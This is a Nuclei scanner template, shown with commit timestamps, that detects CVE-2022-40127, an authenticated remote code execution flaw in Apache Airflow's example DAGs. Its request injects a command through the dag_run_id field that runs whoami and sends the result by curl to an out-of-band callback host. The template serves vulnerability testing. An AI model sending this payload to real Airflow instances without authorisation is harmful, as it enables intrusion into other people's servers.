nuclei-templates/http/cves/2022/CVE-2022-40127.yaml

81 lines
2.2 KiB
YAML
Raw Normal View History

2022-11-23 12:41:34 +00:00
id: CVE-2022-40127
info:
2023-07-10 08:02:45 +00:00
name: AirFlow < 2.4.0 - Remote Code Execution
2022-11-23 12:41:34 +00:00
author: DhiyaneshDk,ritikchaddha
severity: high
description: |
A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
reference:
- https://github.com/Mr-xn/CVE-2022-40127
- https://nvd.nist.gov/vuln/detail/CVE-2022-40127
2023-07-11 19:49:27 +00:00
- http://www.openwall.com/lists/oss-security/2022/11/14/2
- https://github.com/apache/airflow/pull/25960
- https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
2022-11-23 12:41:34 +00:00
classification:
2023-07-10 08:02:45 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
2022-11-23 12:41:34 +00:00
cve-id: CVE-2022-40127
2023-07-10 08:02:45 +00:00
cwe-id: CWE-94
2023-07-11 19:49:27 +00:00
epss-score: 0.13375
2023-07-10 08:02:45 +00:00
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
2022-11-23 12:41:34 +00:00
metadata:
2023-07-10 08:02:45 +00:00
max-request: 3
verified: true
2022-11-23 12:41:34 +00:00
shodan-query: title:"Sign In - Airflow"
2023-07-11 19:49:27 +00:00
vendor: apache
product: airflow
2023-07-10 08:02:45 +00:00
tags: cve,cve2022,airflow,rce,oast,authenticated
2022-11-23 12:41:34 +00:00
2023-07-10 08:02:45 +00:00
http:
2022-11-23 12:41:34 +00:00
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
- |
@timeout: 15s
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"conf": {
"dag_run": "{{randstr}}"
},
2022-11-23 12:47:53 +00:00
"dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
2022-11-23 12:41:34 +00:00
"logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"
}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2022-11-23 12:42:45 +00:00
matchers-condition: and
2022-11-23 12:41:34 +00:00
matchers:
- type: word
part: body
words:
- 'state": "queued"'
2023-07-10 08:02:45 +00:00
- type: word
part: interactsh_protocol
words:
- dns
2022-11-23 12:41:34 +00:00
- type: status
status:
- 200
2022-11-23 12:43:49 +00:00
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- 'type="hidden" value="(.*?)">'
2023-07-11 19:49:27 +00:00
internal: true